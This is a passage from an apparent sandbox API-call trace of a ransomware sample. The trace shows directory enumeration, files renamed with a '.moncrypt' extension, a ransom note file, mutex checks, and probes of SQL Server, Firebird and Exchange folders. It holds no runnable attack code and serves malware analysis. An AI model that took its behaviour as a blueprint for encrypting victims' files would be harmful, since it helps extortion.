(hMem=0x440004) returned 0 [0050.091] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.091] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xb45, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML.moncrypt", cAlternateFileName="STOCKS~2.MON")) returned 1 [0050.091] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.091] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.091] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.091] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.091] GlobalUnlock (hMem=0x440004) returned 0 [0050.091] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.091] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.091] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.091] GlobalUnlock (hMem=0x440004) returned 0 [0050.091] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.091] GlobalUnlock (hMem=0x44000c) returned 0 [0050.091] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.091] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2235, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML.moncrypt", cAlternateFileName="TIMEXM~1.MON")) returned 1 [0050.092] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.092] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.092] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.092] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.092] GlobalUnlock (hMem=0x44000c) returned 0 [0050.092] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.092] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.092] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.092] GlobalUnlock (hMem=0x44000c) returned 0 [0050.092] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.092] GlobalUnlock (hMem=0x440004) returned 0 [0050.092] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.092] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2235, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML.moncrypt", cAlternateFileName="TIMEXM~1.MON")) returned 0 [0050.092] GetLastError () returned 0x12 [0050.092] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.092] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x378b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL.moncrypt", cAlternateFileName="BASMLA~1.MON")) returned 1 [0050.092] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.092] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.092] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.092] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.093] GlobalUnlock (hMem=0x440004) returned 0 [0050.093] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.093] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.093] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.093] GlobalUnlock (hMem=0x440004) returned 0 [0050.093] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.093] GlobalUnlock (hMem=0x44000c) returned 0 [0050.093] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.093] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f063380, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f063380, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f063380, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.093] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.093] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.093] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.093] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.093] GlobalUnlock (hMem=0x44000c) returned 0 [0050.093] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.093] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.093] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.093] GlobalUnlock (hMem=0x44000c) returned 0 [0050.093] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.093] GlobalUnlock (hMem=0x440004) returned 0 [0050.093] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.093] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f063380, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f063380, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f063380, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0 [0050.093] GetLastError () returned 0x12 [0050.093] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.094] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0050.094] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.094] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.094] GlobalLock (hMem=0x440004) returned 0x550170 [0050.094] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.094] GlobalUnlock (hMem=0x440004) returned 0 [0050.094] GlobalLock (hMem=0x440004) returned 0x550170 [0050.094] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.094] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.094] GlobalUnlock (hMem=0x440004) returned 0 [0050.094] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.094] GlobalUnlock (hMem=0x44000c) returned 0 [0050.094] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.095] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0050.095] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.095] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.095] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.095] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.095] GlobalUnlock (hMem=0x44000c) returned 0 [0050.095] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.095] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.095] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.095] GlobalUnlock (hMem=0x44000c) returned 0 [0050.095] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.095] GlobalUnlock (hMem=0x440004) returned 0 [0050.095] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.095] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0050.095] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.095] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.095] GlobalLock (hMem=0x440004) returned 0x550170 [0050.095] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.095] GlobalUnlock (hMem=0x440004) returned 0 [0050.095] GlobalLock (hMem=0x440004) returned 0x550170 [0050.095] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.095] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.095] GlobalUnlock (hMem=0x440004) returned 0 [0050.095] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.095] GlobalUnlock (hMem=0x44000c) returned 0 [0050.095] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.095] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3635, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB.moncrypt", cAlternateFileName="MSTAGT~1.MON")) returned 1 [0050.095] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.095] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.096] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.096] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.096] GlobalUnlock (hMem=0x44000c) returned 0 [0050.096] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.096] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.096] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.096] GlobalUnlock (hMem=0x44000c) returned 0 [0050.096] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.096] GlobalUnlock (hMem=0x440004) returned 0 [0050.096] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.096] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0050.096] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.096] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.096] GlobalLock (hMem=0x440004) returned 0x550170 [0050.096] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.096] GlobalUnlock (hMem=0x440004) returned 0 [0050.096] GlobalLock (hMem=0x440004) returned 0x550170 [0050.096] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.096] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.096] GlobalUnlock (hMem=0x440004) returned 0 [0050.096] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.096] GlobalUnlock (hMem=0x44000c) returned 0 [0050.096] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.096] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0050.096] GetLastError () returned 0x12 [0050.096] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.097] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0050.097] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0050.097] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0050.097] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.097] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.097] GlobalUnlock (hMem=0x44000c) returned 0 [0050.097] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.097] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.097] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.097] GlobalUnlock (hMem=0x44000c) returned 0 [0050.097] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.097] GlobalUnlock (hMem=0x440004) returned 0 [0050.097] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.097] GlobalLock (hMem=0x440004) returned 0x550170 [0050.097] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.097] GlobalUnlock (hMem=0x440004) returned 0 [0050.097] GlobalLock (hMem=0x440004) returned 0x550170 [0050.097] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.097] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.097] GlobalUnlock (hMem=0x440004) returned 0 [0050.097] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.097] GlobalUnlock (hMem=0x44000c) returned 0 [0050.098] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.098] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine", len=0x3c | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned 1 [0050.098] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.098] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.098] GlobalUnlock (hMem=0x44000c) returned 0 [0050.098] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.098] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.098] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.098] GlobalUnlock (hMem=0x44000c) returned 0 [0050.098] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.098] GlobalUnlock (hMem=0x440004) returned 0 [0050.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@↺R↎R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.103] GetLastError () returned 0x3 [0050.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\Ȩ") returned 21 [0050.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18㿬Q\x181")) returned 0xffffffff [0050.104] GetLastError () returned 0x2 [0050.104] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\Ȩ") returned 9 [0050.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꠜR企@\x18?T\x18;")) returned 0xffffffff [0050.105] GetLastError () returned 0x2 [0050.105] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\Ȩ") returned 8 [0050.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18D")) returned 0xffffffff [0050.105] GetLastError () returned 0x2 [0050.105] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0050.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18ꠜR\x18j")) returned 0xffffffff [0050.106] GetLastError () returned 0x2 [0050.106] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0050.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0050.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0050.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18q")) returned 0xffffffff [0050.106] GetLastError () returned 0x2 [0050.106] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft 